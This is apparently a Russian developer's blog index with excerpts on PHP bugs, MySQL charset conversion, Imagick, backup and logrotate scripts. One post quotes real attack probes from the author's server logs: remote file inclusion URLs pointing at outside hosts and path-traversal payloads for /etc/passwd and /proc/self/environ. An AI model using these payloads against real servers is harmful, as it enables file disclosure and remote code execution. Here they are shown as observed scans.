Февраль 28th, 2010 in неразобранное | No Comments »
Принес мне товарищ ноутбук с вирусом, который при загрузке блокирует все действия и требует отправить SMS для разблокировки. Ну вещь вроде бы довольно распространенная в последнее время, а переустанавливать все заново было жалко времени – решил полечить. Read more »
Февраль 11th, 2010 in неразобранное | No Comments »
В архиве дамп трех табличек:
- страны
- регионы (с привязкой к стране)
- города (с привязкой к региону и стране)
Кодировка файла UTF-8. Размер архива 4,7Мб. Забирать здесь.
После заливки желательно прицепить ключи:
ALTER TABLE region ADD constraint fk_region_ref_country FOREIGN KEY (country_id) REFERENCES country (id) ON DELETE restrict ON UPDATE cascade;
ALTER TABLE city ADD constraint fk_city_ref_region FOREIGN KEY (region_id) REFERENCES region (id) ON DELETE restrict ON UPDATE cascade;
ALTER TABLE city ADD constraint fk_city_ref_country FOREIGN KEY (country_id) REFERENCES country (id) ON DELETE restrict ON UPDATE cascade;
Февраль 6th, 2010 in неразобранное | 1 Comment »
На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло – я вовремя нагуглил правильный ответ
Теперь собственно к делу. Вот код и ожидаемый результат его выполнения:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3.14
У меня же получился другой вариант, от которого я честно говоря подвис:
$float = "3.14";
echo $float; // 3.14
echo floatval($float); // 3,14
Выяснилось что результат зависит от установки локали, у меня стояло: setlocale(LC_ALL, "ru_RU.UTF8"); пока остановился на таком варианте:
PHP у меня 5.2.10, а баг сей я так понимаю тащится аж с 2002 года версии 4.3.0 RC2: Bug #17079 setlocale changes the internal representation of floats
Январь 13th, 2010 in неразобранное | No Comments »
Для начала перевести БД из cp1251 в utf8.
Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev > dump.sql – получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev > data.sql, поменять кодировку полей в схеме, вместо:
name varchar(64) character SET cp1251 NOT NULL
сделать
name varchar(64) character SET utf8 NOT NULL
или же убрать упоминание кодировки из полей вовсе:
name varchar(64) NOT NULL
так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:
ALTER DATABASE svdev DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci
и залить назад в обратном порядке – сначала структуру, затем данные.
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо – типа tiny просто вынес сначала из проекта, а затем вернул обратно: Read more »
Декабрь 29th, 2009 in неразобранное | No Comments »
Продолжаю серию забавных вещей из логов: Read more »
Декабрь 28th, 2009 in неразобранное | 2 Comments »
Наконец-то формы стали более дружелюбны к разработчика. Убрали широко используемые до этого addRule() вместо них теперь можно добавлять свои ошибки на поля формы в дополнение к стандартным отсутствие/неверное значение.
Еще из приятных вещей, что можно получить ошибку для конкретного поля, не придумывая для этого замысловатые конструкции (не все же ведь ошибки выводят скопом, некоторые и около полей); появились еще и описания ошибок – дополнительные поля, которые можно использовать (а можно и не использовать) по своему усмотрению.
У PrimitiveList больше нет методов setDefaultAction() и getActualValue – надо просто установить значение setValue(), и оно и будет дефолтным в случае чего, при получении через getChoiceValue().
Read more »
Декабрь 28th, 2009 in неразобранное | No Comments »
Обнаружил в логах довольно забавную картину по поиску слабых мест
client: 83.168.217.53, server: ***, request: "GET /plug.php?p=http://www.delicass.com/themes/delicasstheme/images/bienvenido.gif%00&a=resume&id=846 HTTP/1.0"
Ну и дальше вместо всех переменных пробуем подставлять:
/proc/self/environ%00
/../../../../../../../../../../proc/self/environ%00
/etc/passwd%00
../../../../../../../../../../etc/passwd%00
/../../../../../../../../../../etc/passwd%00
Что самое интересное – откуда такая уверенность в относительности пути?! Именно так и никак иначе пытаться впихнуть.
А вот ходят по другому поводу
client: 203.237.238.234, server: ***, request: "GET /***.html///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
client: 203.237.238.234, server: ***, request: "GET ///?_SERVER%5BDOCUMENT_ROOT%5D=http://210.205.6.168/~shop/zfxid1.txt??? HTTP/1.1"
Интересно, что за сканер такой, или руками?
Декабрь 24th, 2009 in неразобранное | No Comments »
В ходе работы выяснилась неприятная вещь – в библиотеке GD под debian отсутствуют некоторые функции, я столкнулся именно с imagerotate. Некоторые предлагают пересобрать PHP c использованием библиотеки разработчиков, вместо системной, но нашлось более элегантное решение – ImageMagick и PHP обертка для нее Imagick.
Собственно давно уже пора переходить на её использование:
- быстрее
- возможность выбора различных фильтров при ресайзе
- ОО интерфейс
- нет необходимости заморачиваться с типами файлов – все уже сделано за нас
- эксепшены вместо ошибок
Ну и наверняка есть еще достоинства, которые просто не пришли вот так сразу в голову.
Read more »
Декабрь 22nd, 2009 in неразобранное | 2 Comments »
Немного ранее, был представлен SHELL скрипт резервного сохранения данных проекта. При наличии нескольких проектов хочется каким-то образом систематизировать этот процесс, для облегчения подключения новых проектов к резервному копированию, кроме как плодить файлы с дублированием кода, учитывая тот факт, что со временем может измениться логика выполняемых действий или настройки подключения к БД/FTP серверу.
Вынесем общую логику в отдельный скрипт, а индивидуальные данные проекта, такие как имя БД и загружаемые файлы в конфигурационный файл для каждого проекта.
Read more »
Декабрь 19th, 2009 in неразобранное | No Comments »
Простенький скрипт, который проверяет доступность пакета logrotate и запускает ротацию. Кладется в /etc/cron.daily и запускается как правило в 4 часа утра, за это отвечает запись в /etc/crontab (у меня в 6 часов 25 минут):
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
Сам скрипт, запускающий суточные задания:
#!/bin/sh
test -x /usr/sbin/logrotate || exit 0
/usr/sbin/logrotate /etc/logrotate.conf
Среди которых ротация логов nginx:
/var/log/nginx/*.log /var/www/*/logs/error.log {
daily
missingok
rotate 1
compress
delaycompress
notifempty
create 640 root adm
sharedscripts
postrotate
[ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
cat /var/log/nginx/error.log.1 | mail -s "Nginx error log" root
cat /var/www/*/logs/error.log.1 | mail -s "Sitests nginx error log" root
endscript
}
Что здесь происходит? Ротируются логи nginx из /var/log/nginx а за позапрошлый день сжимаются и так же с логами для всех проектов, если учесть что проекты находятся в /var/www а логи соответственно в директории logs проекта. А логи за предыдущий день отправляются на почту рута двумя письмами – одно со всех проектов, а второе самого nginx.